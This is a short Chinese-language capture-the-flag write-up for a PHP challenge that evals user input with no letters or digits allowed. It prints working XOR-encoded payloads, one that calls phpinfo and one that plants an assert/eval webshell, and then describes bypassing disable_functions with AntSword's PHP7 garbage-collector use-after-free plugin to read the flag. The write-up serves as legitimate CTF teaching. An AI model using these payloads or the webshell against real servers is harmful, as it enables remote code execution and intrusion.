考点: 绕过disable_function ,无数字字母命令执行
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
可以看到代码要求不能输入数字和字母,代码长度不能超过40
用前几篇所学:?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,异或构造一个phpinfo 看一下PHP版本以及禁用函数:


可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
在根目录下看到flag和readflag二进制文件,很明显flag文件没有权限读取,只能执行readflag,但是这里因为前面disable_function函数的限制,什么也执行不了


想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
下载新版蚁剑,安装插件右键shell选择“插件市场”安装disable_function插件,再右键shell,如下图选择

点击“选择模式”,选择PHP7_GC_UAF,点击开始进入终端,接下来运行得到flag
